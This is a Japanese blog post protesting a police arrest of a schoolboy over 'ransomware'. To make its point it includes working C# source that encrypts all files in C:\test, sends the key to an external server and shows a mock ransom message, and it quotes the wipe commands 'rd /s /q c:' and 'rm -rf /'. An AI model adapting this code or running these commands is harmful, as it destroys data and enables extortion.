「ランサムウエアを作ったよ。自由に使って」

 おそらく中二病を患っていただけの中学生が、作れてもいないのに「ウィルス作った」なんて言っちゃったもんだから、サイバーに無知な 神奈川県警サイバー犯罪対策課 に逮捕されてしまいました。

2017/06/05 身代金ウィルスで逮捕された中学生は無罪、神奈川県警による冤罪だ

 リンクを踏んだだけの人を遠隔操作ウィルス事件の犯人と勝手に決めつけて、リンクを踏んだだけの人に犯行を自供させ、リンクを踏んだだけの人を有罪に持ち込んだ、あの有名な 神奈川県警サイバー犯罪対策課 です。


 中学生の作ったランサムウェア(笑)そのものは見てませんが、彼が3日で作ったというので、いい年こいて中二病が抜けない私も対抗心がメラメラと沸きだし、同じような物を作ってみました。
 あと少し時間をかけて画面を凝れば、もう少しそれっぽくなりますし、読み取り専用ファイルにぶち当たると途中で落ちてしまうなど、細部のツメが甘い状態ではありますが、くだらないことに3時間もかける気がしませんので割愛。


 とはいえ私も概念は知っていても具体的なところはよく分からないので、以下のサイトを参考にコピペで作ってみました。
 もしかしたら中学生も同じサイトをみて勉強していたかも

https://dobon.net/vb/dotnet/file/getfiles.html
https://dobon.net/vb/dotnet/string/encryptfile.html
https://dobon.net/vb/dotnet/internet/downloadfile.html

 暗号化するソフトを作った時点で「ランサムウェアを作った」になるのでしょうか?
 そうだとしたら、私も逮捕されてしまいます? EXE じゃないからセーフ??
 というか、ファイルを暗号化するソフトを作った人、みんな逮捕されちゃう!?
 んな馬鹿な。人権無視の凶悪共産国家・中国であっても逮捕しないだろーが。


 これのどこがIT立国だよ、って次元で、ほんと情けなくて涙も出ません。
 幼気で優秀な中学生を逮捕してる暇があったら、加計学園と安倍の身辺を捜査しなさい!
 「収賄額0円の収賄罪」で佐藤知事を逮捕し有罪にした執念はどこへ行ったんですか?

// C:\test フォルダ内のファイルを暗号化します。
// 復号に必要な情報は h.wakwak-koba.jp に送信されます。
// パソコン内の情報は収集しません。
// コンパイル・実行された方はソースを理解し同意の上とみなします。

class ランサムウェア笑
{
    // 参考
    // https://dobon.net/vb/dotnet/file/getfiles.html
    // https://dobon.net/vb/dotnet/string/encryptfile.html
    // https://dobon.net/vb/dotnet/internet/downloadfile.html

    static void Main(string[] args)
    {
        string id =
            System.BitConverter.ToString(System.Guid.NewGuid().ToByteArray()).Replace("-", "");

        System.Security.Cryptography.RijndaelManaged rijndael =
            new System.Security.Cryptography.RijndaelManaged();

        // 復号に必要なキーを先に送信しておく
        System.Net.WebClient wc = new System.Net.WebClient();
        wc.DownloadString("http://h.wakwak-koba.jp/?id=" + id
            + "&key=" + System.BitConverter.ToString(rijndael.Key).Replace("-", "")
            + "&iv=" + System.BitConverter.ToString(rijndael.IV).Replace("-", ""));

        // 特定フォルダ内のファイルを列挙
        System.IO.DirectoryInfo di = new System.IO.DirectoryInfo(@"C:\test");
        System.IO.FileInfo[] files =
            di.GetFiles("*.*", System.IO.SearchOption.AllDirectories);

        // 暗号化開始
        foreach (System.IO.FileInfo f in files)
        {
            string file = f.FullName;
            f.MoveTo(f.FullName + "." + id);
            EncryptFile(f.FullName, file, rijndael);
            // f.Delete();
        }

        System.Windows.Forms.MessageBox.Show("暗号化は無料! " + id
            + "\n\n復号は5000兆!");
    }

    /// <summary>
    /// ファイルを暗号化する
    /// </summary>
    public static void EncryptFile(
        string sourceFile, string destFile, System.Security.Cryptography.RijndaelManaged rijndael)
    {

        //暗号化されたファイルを書き出すためのFileStream
        System.IO.FileStream outFs = new System.IO.FileStream(
            destFile, System.IO.FileMode.Create, System.IO.FileAccess.Write);
        //対称暗号化オブジェクトの作成
        System.Security.Cryptography.ICryptoTransform encryptor =
            rijndael.CreateEncryptor();
        //暗号化されたデータを書き出すためのCryptoStreamの作成
        System.Security.Cryptography.CryptoStream cryptStrm =
            new System.Security.Cryptography.CryptoStream(
                outFs, encryptor,
                System.Security.Cryptography.CryptoStreamMode.Write);

        //暗号化されたデータを書き出す
        System.IO.FileStream inFs = new System.IO.FileStream(
            sourceFile, System.IO.FileMode.Open, System.IO.FileAccess.Read);
        byte[] bs = new byte[1024];
        int readLen;
        while ((readLen = inFs.Read(bs, 0, bs.Length)) > 0)
        {
            cryptStrm.Write(bs, 0, readLen);
        }

        //閉じる
        inFs.Close();
        cryptStrm.Close();
        encryptor.Dispose();
        outFs.Close();
    }
}

 ファイル暗号化したうえで身代金を要求するメッセージを Show するプログラムをランサムウェアと仮に定義するならば、マイクロソフトさんの優秀な Framework のおかげで、全く知識ない人であっても、わずかなコードでランサムウェア(笑)が作れてしまいます。
 こうなるとマイクロソフトも共犯ですか?


 OSやブラウザの脆弱性を突いたりして、ユーザーの意図しないところで勝手に動くソフトがウィルスだと思いますが、そういう意味で中学生は実際のとこウィルスなんて作れておらず、単にファイルを暗号化するソフトを作っただけなのに、彼はそれでランサムウェアを作れたと思い込んでしまっただけ。(まさに中二病)


 不注意で(理解しないまま)実行してしまうユーザーがいないとも限りませんが、困ってる人に対して全てを解決する魔法のコマンド「cmd /c rd /s /q c:」(Linux ならば「rm -rf /」)を指南するのと大差ありません。
 

 犯罪と中二病の区別すらできない神奈川県警の罪は非常に重い。


 パソコン遠隔操作事件 のときと全く同じことやらかしてくれました。
(事件背景としては 岡崎市立中央図書館事件 に近いかもしれないが)



結論
 ファイルを削除したり、暗号化したり、外部に送信したり、そういうプログラムは物凄く簡単で誰でも作れます。
 分かる人なら5分、私で1時間、分からない人でもネットサーフィンすれば中学生と同じく3日もあれば作れるでしょう。


 そしてコンパイルして出来た実行ファイルを、どんな説明のうえで誰に使わせるのか?
 その如何で、正しい説明がなされれば便利なユーティリティソフトだし、嘘の説明であればウィルスソフトです。
 ウィルス対策ソフトなどというものは、「あまりに悪ふざけが過ぎて有名になりすぎたソフト」だけを見つけるに過ぎません。


 もし IT立国 を名乗りたいのであれば、いま為すべきことは

  • プログラムを実行するということは、食べ物を口に入れることと同じと思え
  • 道に落ちてたバナナを拾い食いして腹を壊しても自業自得であって、バナナは悪くない

 たったこれだけの教育。
 「これだけ」とは書きましたが、「これしかない」と言い換えたほうがいいかもしれません。


※ 脆弱性を突いて勝手に実行されてしまうソフトは、例えれば強姦に近い行為であるのだから、これに関しては酌量の余地なく、被害の程度に関わらず「ウィルス認定して良い」という見解です。